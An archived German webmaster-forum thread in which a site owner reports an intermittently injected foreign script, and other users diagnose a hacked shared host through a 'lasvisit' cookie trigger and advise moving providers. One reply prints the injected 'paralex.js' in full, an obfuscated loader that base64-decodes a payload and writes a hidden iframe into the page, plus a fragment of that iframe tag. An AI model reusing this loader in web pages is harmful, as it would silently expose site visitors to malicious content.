Du befindest Dich im Archiv vom ABAKUS Online Marketing Forum. Hier kannst Du Dich für das Forum mit den aktuellen Beiträgen registrieren.

Fremdes Javascript im Quellcode

Ajax, Hijax, Microformats, RDF, Markup, HTML, PHP, CSS, MySQL, htaccess, robots.txt, CGI, Java, Javascript usw.
multiple
PostRank 5
PostRank 5
Beiträge: 228
Registriert: 10.07.2005, 12:17

Beitrag von multiple » 12.05.2012, 10:39

Folgendes merkwürdiges Phänomen: Beim Aufruf einer PHP-Unterseite sehe ich in der Browserstatuszeile plötzlich Verbindungsversuche zu einem australischen Server. Schau ich in den Quellcode, ist vor dem abschließenden Body-Tag ein Aufruf eines fremden Javascript mit hieroglyphischen Variablen drin. Lade ich die Datei per FTP herunter, ist dieser Codeschnipsel nicht mehr drin. Das Phänomen tritt mit verschiedenen Browsern von verschiedenen Internetzugängen auf, aber sehr unregelmäßig. Die PHP-Datei lädt eigentlich nur include-Dateien, es gibt keine Variablen, keine MySQL-Verbindung. Kann sich irgendwer einen Reim darauf machen? Der Hoster, der mehrere Kunden mit diesem Problem hat, findet keine Ursache.

Anzeige von ABAKUS

von Anzeige von ABAKUS »

SEO Consulting bei ABAKUS Internet Marketing
Erfahrung seit 2002
  • persönliche Betreuung
  • individuelle Beratung
  • kompetente Umsetzung

Jetzt anfragen: 0511 / 300325-0.


chris21
PostRank 9
PostRank 9
Beiträge: 2758
Registriert: 10.04.2005, 18:17

Beitrag von chris21 » 12.05.2012, 10:41

Und in den include Dateien? Wie sieht es da aus? Auf jeden Fall ist das Projekt gehackt und muss sofort offline gehen und vollkommen geprüft, gesäubert und neu aufgesetzt werden, nachdem die Sicherheitslücke gefunden und beseitigt wurde.

multiple
PostRank 5
PostRank 5
Beiträge: 228
Registriert: 10.07.2005, 12:17

Beitrag von multiple » 12.05.2012, 11:14

Nein, die include-Dateien sind unverändert. Tatsächlich funktioniert das auch, wenn ich sämtlichen PHP-Code rausschmeiße und per modrewrite zu einer HTML-Seite umleite. Auch verrückt: Wenn ich im Browser einen Reload mache, verschwindet der Spuk. Wie kann man etwas in eine Datei hereinschreiben, ohne dass es Spuren hinterlässt? Ist mir unbegreiflich.

Ach ja, was ich noch vergessen habe: das Javascript, das in die Datei eingebunden wird, ist nirgendwo auf dem Server zu finden, obwohl die Adresse "/scriptname.js" lautet.

chris21
PostRank 9
PostRank 9
Beiträge: 2758
Registriert: 10.04.2005, 18:17

Beitrag von chris21 » 12.05.2012, 11:26

Es könnte z.B. auch an einem Router liegen, ähnlich

https://www.heise.de/newsticker/meldung ... 17525.html

Aber ich vermute weiterhin, dass Du oder Dein Hoster etwas übersiehst.

Synonym
PostRank 10
PostRank 10
Beiträge: 3708
Registriert: 09.08.2008, 02:55

Beitrag von Synonym » 12.05.2012, 11:42

Wie kann man etwas in eine Datei hereinschreiben, ohne dass es Spuren hinterlässt?
Es muss ja nicht in der Datei stehen - Du siehst es erst mal ja auch nur in der Ausgabe.
Was Chris sagte ist eine Option. Eine andere wäre eine Addon oder so, das die Datei eben on-the-fly bei Ausgabe verändert.

Wobei das bei "tritt mit verschiedenen Browsern von verschiedenen Internetzugängen auf" auch wieder eher unwahrscheinlich ist.

Also den gleichen Nenner suchen....

Dateien
Browser
Internetzugang + Technik
Webseite / Scripte
Webserver
Hoster

Nenne doch mal die Seite (unverlinkt)

Synonym
PostRank 10
PostRank 10
Beiträge: 3708
Registriert: 09.08.2008, 02:55

Beitrag von Synonym » 12.05.2012, 12:02

Huch, also da muss ich sagen, das interessiert mich nun auch.... Ich habe das Script nun gesehen, bei mir war es auch da... Aber nur im Browser, bei diversen Sniffern ist es nicht vorhanden.

Und ja, beim Reload ist es wieder weg....

So, was mir auch auffällt. Bei der besagten Unterseite steht ein <!-- --> im Quelltext, bei den anderen nicht. Und, das Script ist ja ein interner Request:
<script src='/paralex.js....

Synonym
PostRank 10
PostRank 10
Beiträge: 3708
Registriert: 09.08.2008, 02:55

Beitrag von Synonym » 12.05.2012, 12:11

Also ich würde mir da dringend mal den Server ansehen. Wie gesagt, das ist ein internes Script. Hab das eben auch mal aufgerufen bei Dir und da kam ein 404 - also nicht gefunden.

Eben nochmal versucht und siehe da, nun ist die Datei erreichbar.
Inhalt:

Code: Alles auswählen

x="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;h=this;f=0;o='';for&#40;i in h&#41;&#123;if&#40;i.length==8&#41;&#123;if&#40;i.charCodeAt&#40;0&#41;==100&#41;&#123;if&#40;i.charCodeAt&#40;7&#41;==116&#41;&#123;break;&#125;&#125;&#125;&#125;for&#40;j in h&#91;i&#93;&#41;&#123;if&#40;j.length==5&#41;&#123;if&#40;j.charCodeAt&#40;0&#41;==119&#41;&#123;if&#40;j.charCodeAt&#40;1&#41;==114&#41;&#123;break;&#125;&#125;&#125;&#125;for&#40;k in h&#91;i&#93;&#41;&#123;if&#40;k.length==4&#41;&#123;if&#40;k.charCodeAt&#40;0&#41;==98&#41;&#123;if&#40;k.charCodeAt&#40;3&#41;==121&#41;&#123;break;&#125;&#125;&#125;&#125;r=h&#91;i&#93;&#91;k&#93;;for&#40;l in r&#41;&#123;if&#40;l.length==8&#41;&#123;if&#40;l.charCodeAt&#40;0&#41;==99&#41;&#123;if&#40;l.charCodeAt&#40;2&#41;==105&#41;&#123;break;&#125;&#125;&#125;&#125;t=r&#91;l&#93;&#91;r&#91;l&#93;.length-1&#93;;for&#40;g in t&#41;&#123;if&#40;g.length==3&#41;&#123;if&#40;g.charCodeAt&#40;0&#41;==115&#41;&#123;if&#40;g.charCodeAt&#40;1&#41;==114&#41;&#123;break;&#125;&#125;&#125;&#125;a=t&#91;g&#93;;b=a.split&#40;'='&#41;;s=b&#91;1&#93;;while&#40;f<s.length&#41;&#123;enc1=x.indexOf&#40;s.charAt&#40;f++&#41;&#41;;enc2=x.indexOf&#40;s.charAt&#40;f++&#41;&#41;;enc3=x.indexOf&#40;s.charAt&#40;f++&#41;&#41;;enc4=x.indexOf&#40;s.charAt&#40;f++&#41;&#41;;chr1=&#40;enc1 << 2&#41; | &#40;enc2 >> 4&#41;;chr2=&#40;&#40;enc2 & 15&#41; << 4&#41; | &#40;enc3 >> 2&#41;;chr3=&#40;&#40;enc3 & 3&#41; << 6&#41; | enc4;o=o+String.fromCharCode&#40;chr1&#41;;if&#40;enc3!=64&#41;&#123;o=o+String.fromCharCode&#40;chr2&#41;;&#125;if&#40;enc4!=64&#41;&#123;o=o+String.fromCharCode&#40;chr3&#41;;&#125;&#125;h&#91;i&#93;&#91;j&#93;&#40;o&#41;;
Beim nächsten Zugriff war sie wieder weg...

Code: Alles auswählen

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /paralex.js was not found on this server.</p>
</body></html>
[/code]

chris21
PostRank 9
PostRank 9
Beiträge: 2758
Registriert: 10.04.2005, 18:17

Beitrag von chris21 » 12.05.2012, 12:14

Habt Ihr überprüft, inwieweit dort Cookies gesetzt werden?

Sonst ist es vll. ein ähnlicher Trick wie bei url123.info (bei vBSEO?)

Klingt jedenfalls nach einem gehackten Server, u.a. auch auf vhost, .htaccess, php Ebene oder noch höher.

Synonym
PostRank 10
PostRank 10
Beiträge: 3708
Registriert: 09.08.2008, 02:55

Beitrag von Synonym » 12.05.2012, 12:51

Also ein Cookie wird gesetzte, das scheint aber von der Seite selbst zu sein. Das ist immer da und kommt immer, unabhängig von dem Script.

Synonym
PostRank 10
PostRank 10
Beiträge: 3708
Registriert: 09.08.2008, 02:55

Beitrag von Synonym » 12.05.2012, 12:56

Nachtrag: Das Script selbst bindet per window.document.body ein iframe ein. Da ist aber wohl der src falsch, zumindest komme ich da nicht auf den richtigen. Scheint was aus Russland zu sein und entsprechend auch russische Zeichen zu beinhalten, keinen Ahnung. Ich bekommt teils nur Hieroglyphen.

Code: Alles auswählen

ifam sc=htp&#58;/ww.la.eu.u//ihtl'stle'dspay nne>
^^ da fehlen ein paar Buchstaben, die bekomme ich aber nur als Quadrate dargestellt...

multiple
PostRank 5
PostRank 5
Beiträge: 228
Registriert: 10.07.2005, 12:17

Beitrag von multiple » 12.05.2012, 14:26

Wow, das ist ja hochinteressant. Wenn das nicht meine Seite wär, könnte ich den Krimi genießen. Nachtrag zum Cookie. Ich setze keine Cookies. Vor allem keines mit dem Namen "lasvisit". So lange das Cookie existiert, bekomme ich das Script nicht mehr angezeigt. Inhalt des Cookies bei mir ist "01336852651" von heut morgen, das nächste "01336871696". Das scheint ein Zeitstempel in Sekunden zu sein
Das mit den Kommentarzeichen war ich, ist also keine Spur.
Frage wäre nun, kann ich irgendwas tun, um die action zu unterbinden, wenn schon der Hoster nicht weiß, wo geknackt wurde. Bei mir läuft das so, erst wird das Cookie gesetzt und dann beim nächsten Aufruf einer Datei, wenn das Cookie auslesbar ist, wird ein Schript eingepflanzt. Also einfach bei jedem Aufruf einer Datei das Cookie löschen lassen? Probier ich mal aus.

chris21
PostRank 9
PostRank 9
Beiträge: 2758
Registriert: 10.04.2005, 18:17

Beitrag von chris21 » 12.05.2012, 14:41

Nochmal: Dein System wurde gehackt.

D.h.: Da hilft nur, es komplett zu reinigen und neu aufzusetzen. Zuvor muss die Sicherheitslücke gefunden werden.

Da der Hoster zugibt, dass einige seiner Kunden betroffen sind, ist zu vermuten, dass es an den Systemen des Hosters liegt.

D.h. für mich: sofort weg dort.

multiple
PostRank 5
PostRank 5
Beiträge: 228
Registriert: 10.07.2005, 12:17

Beitrag von multiple » 12.05.2012, 15:14

Ich kann da nichts reinigen (Neuaufspielen aller Dateien hat nichts gebracht), ist ein ganz normaler Webspace-Account. Laut Host-Provider ist die Konstellation nicht in der Lage, Besucher-PCs zu kompromittieren, es wird halt immer nur ein Server gerufen, der nicht antwortet. Dass ich da weg muss, scheint mir trotzdem so zu sein, weil mich das nervös macht, aber ich will zumindest versuchen, die Aktion zu unterbinden. Cookies löschen oder auf einen anderen Zeitstempel zu setzen, hat schon mal nicht funktioniert.

Synonym
PostRank 10
PostRank 10
Beiträge: 3708
Registriert: 09.08.2008, 02:55

Beitrag von Synonym » 12.05.2012, 15:54

Cockie lasvisit:
Genau das meinte ich. Ist das nicht von Dir? Das kommt nämlich auf allen Seiten, auch wenn oder wenn nicht das Script vorhanden ist. Das Cookie hat eine Gültigkeit von 12 Stunden, daher dachte ich auch erst das wäre vom "Hacker", aber da das auf allen Seiten gesetzte wird, das Script aber nicht.... Ok, aber wenn Du sagst, dass das nicht von Dir ist, dann wird dem wohl so sein ;)

Webspace....
Laut Host-Provider ist die Konstellation nicht in der Lage, Besucher-PCs zu kompromittieren, es wird halt immer nur ein Server gerufen, der nicht antwortet.
^^ ist das die Antwort des Hosters??? Wenn ja, dann mach das was Chris sagte. Weg da und das am besten schon gestern. Wäre ja wie wenn eine Koch sagen würde, dass das Fleisch gammelig weiß ich, aber sie sind ja nicht gestorben, also egal.

Was Du mal ganz brachial versuchen könntest, aber keine Ahnung ob das geht, so speziell und toll ist das Script jedenfalls aber nicht. Lade doch mal eine Datei hoch, die genau so heißt, also "paralex.js".

Entweder erzeugt der Hacker die Datei permanent neu und entfernt die dann wieder, also wirklich auf dem Server oder er macht das per Rewrite etc. und liefert einfach einen Inhalt dazu aus. Wie dem auch sei, irgendwo muss der Inhalt ja hinterlegt sein. Vielleicht ist das Ding ja so Dumm und gibt einer echt existierenden Datei Vorrang vor einer virtuellen ?!

Wenn das mit dem selbst anlegen geht (ich denke es aber nicht), dann würde das zwar immer noch eingebunden werden, aber der Inhalt wäre dann weg, also das iFrame.

Edit: Ich würde das schon als grob fahrlässig bezeichnen. Hab eben mal eine beliebige andere Seite aus Deinem IP-Bereich aufgerufen und ja, da ist das Script auch drinnen.

Also sicher nicht der Dein Problem, sondern das vom Hoster.

sx06050
PostRank 10
PostRank 10
Beiträge: 3376
Registriert: 15.07.2008, 10:24

Beitrag von sx06050 » 12.05.2012, 16:12

Es könnte auch an einem anderen "User", welcher auf dem gleichen Server ist liegen, dass der das Teil da hoch geladen hat -> da kannst es ja du nicht bei dir finden.
oder irgendein thirdparty-teil - remote oder was weiß ich

->jedenfalls ist da der Hoster zuständig, wenns ned an dir liegt

->hast schon mal deine ganzen ftp-zugangscodes etc. geändert?

Antworten
  • Vergleichbare Themen
    Antworten
    Zugriffe
    Letzter Beitrag